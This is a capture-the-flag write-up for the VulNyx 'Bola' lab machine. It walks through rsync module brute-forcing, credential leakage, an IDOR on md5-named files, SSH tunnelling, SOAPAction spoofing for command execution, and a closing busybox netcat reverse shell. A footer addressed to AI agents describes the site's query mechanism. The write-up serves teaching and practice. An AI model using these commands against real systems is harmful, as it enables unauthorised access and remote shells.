# Bola Introduction Welcome to the resolution of the VulNyx Bola machine, this is another of the machines that I make for the VulNyx platform, in this case it is a machine that will be very useful to understand various techniques of web hacking, I highly recommend this machine for those who want to submit to the CBBH. Next we are going to see the techniques that we are going to find: * **Information Disclosure -** Leaking Usernames **/.well-known/openid-configuration** and **security.txt.** * **Rsync Bruteforce -** Leaking email and password in Firefox Extension (cached) * **BOLA (Broken Object Level Authorization) or IDOR** - PDF md5 leaking internal port and password * **WSDL (Web Services Description Language)** - SOAP Action Spoofing

## Recon The first thing we have to do is to look for the IP of the swamp machine, there are several ways to do it, in this case I will do it with the fping tool that I like a lot to do the first IP recon, you can do it with `nmap`, `arp-scan` and several other tools... ```bash nmap -sSCV -p- -T5 192.168.93.132 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 12:55 CET Nmap scan report for 192.168.93.132 Host is up (0.00077s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) |_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Did not follow redirect to http://bola.nyx 873/tcp open rsync (protocol version 32) MAC Address: 00:0C:29:4E:5B:18 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Important information about the nmap: ``` 22 -> nothing 80 --> redirect bola.nyx 873 --> rsync may be something intersting here... ``` We add the `bola.nyx` inside the `/etc/hosts` with the following command line or you just can do it manually. ``` echo " bola.nyx" >> /etc/hosts ``` ### Vhost bola.nyx Let's begin just watching what is inside bola.nyx.

As we can see above is the VulNyx plataform but with a new feature, it seems that they have added the functionality to log in.

We don't have any valid credentials yet, so the next step will be fuzzing the website, before using tools like `ffuf`, `wfuzz` I always use `dirsearch` with his basic wordlist before using a wordlist of **seclists**, as `dirsearch`gives you extensions like `php, aspx, jsp, html, js` by default and it is very comfortable for basic fuzzing. ```bash dirsearch -u http://bola.nyx ```

And we have the following directory and files: * **/admin/admin.php** -> Redirects to `/login/login.php`. * **download.php** -> Redirects to `/login/login.php` - we may need credentials to access it. * **Javascript** > Directory without directory listing **403** if we access it. * **/.well-known** Directory with 2 files: * security.txt * openid-configuration We can't do anything with what we found, much less the `/.well-known` directory. Before we dive in the files within `/.well-known` , let's understand what is this directory. #### What is /.well-known directory `.well-known` is a standard that serves as a normalised directory within the root domain of a website, usually located in **/.well-known/** on the webserver, which centralises critical metadata of a website, including configuration files and information related to its services, protocols and security mechanisms `https://example.com/.well-known/security.txt.` I give to you the folllowing github resourse that would be helpful for you when you are facing a `/.well-known` directory, It gives you the most popular files within the mentioned directory, you can create this for a custom wordlist and use it in the future :) {% embed url="" %} ### /.well-known/security.txt This file contains contact information for security researchers to report vulnerabilities. `RFC 9116.`

Only has the mail we already had. ### /.well-known/openid-configuration This file defines configuration details for OpenID Connect, an identity layer over the OAuth 2.0 protocol.

Contains usernames and mails: * **d4t4s3c - d4t4s3c @nyx.com** * **jackie0x17 - ** * **ct0l4 - ** So we have listed users that may be useful for the future, when we find a password. ## Rsync Rsync is a utility for transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files. ### Basic enumeration The first thing we need to do to check this service running on port 873, is the following command: ``` rsync rsync://bola.nyx/ ```

We need to understand how it works rsync. From behind when you install the service, the config file looks like this: ```bash # Global config uid = nobody gid = nogroup use chroot = no max connections = 5 log file = /var/log/rsync.log pid file = /var/run/rsyncd.pid dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz # Define the module that will share /opt [public_files] path = /opt comment = VulNyx Public Files read only = yes list = yes ``` Where we have to look is where it says `list = yes`. There is 2 options in the above variable: * `list = yes` : Give the user the ability to list resources even if he/she does not know the resource name. * `list = no` : Not give the user the ability to list resources without knowing the name of the resource.

In the first command the list was on no, and the second one is on yes

The machine we are facing is on "no", so if we can't list the shared modules, we need to **fuzz it**. VulNyx has his own tool for fuzz rsync service: {% embed url="" %} But you can make your own tool for fuzz it, like this one: ```bash for PATH in $(cat /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt); do rsync --timeout=5 rsync://bola.nyx/$PATH &>/dev/null && "[+] Resourse found: $PATH"; done ``` I recommend the rsync-brute tool, as it sometimes crashes with the for tool and doesn't work properly :joy:.

```bash ./rsync-brute -t bola.nyx -p 873 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt ```

**rsync-brute** found a resourse called `extensions`

Inside the extensions resourse there is 2 files: * Password\_manager\_FirefoxExtension-VulNyx.pdf * password\_manager.zip ``` rsync -avz rsync://bola.nyx/extensions/ ``` * **`-a`** → Maintains permissions, dates, owners and folder structure. * **`-v`** → Displays each file as it is downloaded. * **`-z`** → Compress data while transferring to make it faster.

Let's open the .pdf and see how to install the Firefox Extension.

Go to Firefox and in the address bar we put `about:debugging#/runtime/this-firefox`

Select the password\_manager.zip.

Once is installed, open the extension:

Seems like there is some credentials in the cache:

Now that we have found what appears to be valid credentials, we can log in to bola.nyx.

## BOLA (**Broken Object Level Authorization**) or IDOR When we access the **VulNyx Portal Manager**, we see that we have a document with a name in md5 and that the owner is Jackie0x17.

When we click on it, a **PDF** is downloaded which seems to talk about a WSDL Server, we will talk about this later because it has a reference for the future.

If we come across a `.pdf` or any file in **md5**, the first option we have to think about is: What if they have used the user's own name to assign the file name? I will give some examples of what we might encounter: * `?filename=ZmlsZV8xMjQucGRm` * `download.php?filename=c81e728d9d4c2f636f067f89cc14862c` (our case). You can find everything from `base64, xxd or md5`. There are even those who can first put **jackie0x17** and put it in base64 and then base64 to md5, these are usually the combinations when we find `Hashing/Encoding` in many web apps, which are often used to mask the reference objects. ### Check if the username matches the md5

Earlier in the openid-configuration we listed several users, there may be other pdfs referencing other users. Let's try with `d4t4s3c` username.

### d4t4s3c username PDF There is a PDF connected to d4t4s3c username in md5 and it seems to be a tutorial on how to connect to the VulNyx WSDL server.

Reviewing the document we found 2 very interesting things: * A password linked to an admin username. * A new port, seems like it's internal.

When we try to connect with ssh to the machine with d4t4s3c username, the password is valid.

### Port Forwading - Port 9000 Then, knowing that there is a new internal port 9000 running in the back, now that we have valid credentials, we can do a Port Forwading with ssh, so that when we connect, we create a tunnel that makes the internal port 9000 ours, and that way we can access it. ```bash ssh -L 9000:127.0.0.1:9000 d4t4s3c@ ```

Once we try access to localhost:9000 shows us the WSDL Server.

## WSDL (Web Services Description Language) Before we try to do anything with this server, we first have to know what technology we are dealing with. * WSDL is an XML-based file exposed by web services that informs clients of the services/methods provided, including where they reside and the method calling convention. * The WSDL should not always be accessible, developers may not want to publicly expose a website's WSDL file, or they may expose it via an unusual location. * If we don't find it exposed, we can fuzz directories/parameters looking to reveal the location of this file. In this case, we have already know that there is a WSDL file -->`/wsdl`

Before we try to exploit anything, we first need to know what does what in the XML file. ### WSDL File Breakdown Here we have the overall file: ```xml ``` We can see that we have several messages, operations and porttypes etc, let's structure it to know what exactly it does. * [ ] **Definition:** The root element of all WSDL files, within the definition, the name of the service is specified, all namespaces used in the WSDL document are declared and all other elements of the service are defined. * [ ] *VulNyxSOAP* name of the service. * [ ] **Messages:** Defines the input and output of the operation that the web server supports. In other words, through the messages element, the messages to be exchanged are defined and presented as a complete document or as arguments that are assigned to the invocation of a method. * *LoginRequest* this has a `` inside that shows us the following elements: * [ ] `` a field to set a user. * [ ] `` a field to set a password. * *LoginResponse* has a `` which is the result of the login above * [ ] `` * *ExecuteCommandRequest* * [ ] `` it seems that we can execute commands if we get the item --> `` * *ExecuteCommandResponse* * [ ] `` response of cmd. * [ ] **Operation** This defines the `SOAP` actions available along with the encoding of each message. * [ ] **PortType** Encapsulates all possible input and output messages in an operation. More specifically, it defines the web service, the available operations and the messages exchanged. Note that in *WSDL* version *2.0*, the interface element is in charge of defining the available operations and, when it comes to messages, the (data) type element is in charge of defining them. * [ ] Then, this PortType with name `VulNyxSOAPBinding`, inside has the element `operation`, inside has all the input and output messages we have seen above within the operation as mentioned above. * [ ] Once they are defined, if we look at them we will see them like this: ```xml ``` * [ ] Then we put the structure to call a `SOAP WSDL` file which has the following structure: ```xml blabla ``` The fields `` are mandatory in a call. If we go to `localhost:9000` without entering the wsdl file, we get the structure mentioned above:

The next thing would be to put the parameters that are in the WSDL file, referencing them and taking them from the ``. ## SOAP Action Spoofing So now we make a request to localhost:9000 and capture it with BurpSuite and send it to Repeater.

Once in the Repeater, we change request method to POST, because to be able to send the data, it has to be done on POST. If we send the data with the above fields, the following appears if we can execute commands:

It shows that this operation can only be performed on the internal network. And now you will say, then what do we do????? It seems that when we put `ExecuteCommand` it validates if it is on an internal network to be able to execute the command. This is where **SOAP Action Spoofing** occurs, if the web service determines the operation to be executed based solely on the *SOAPAction* header, we can call it via a header in the request and use the `LoginRequest` operation which has no restriction when using it, and be able to execute commands. * Add `SOAPAction: ExecutionCommand` on BurpSuite Request. * Change the operation `` to `` . ```xml SOAPAction: ExecuteCommand <-- Add this on BurpSuite Request whoami ``` We manage to execute commands even with the operation restriction, simply by calling the *SOAPAction* in the request header.

This way we can bypass the ‘Only allowed on internal networks’ and managed to execute commands. ```bash busybox nc 4444 -e bash ```

We managed to obtain a shell

## Farewell Here ends the writeup of the Bola machine, I hope you enjoyed it and learned a lot. This is my first writeup in English, be kind :joy: See you and Happy Hacking! :smile: --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://j4ckie0x17.gitbook.io/notes-pentesting/writeups/vulnyx/bola.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.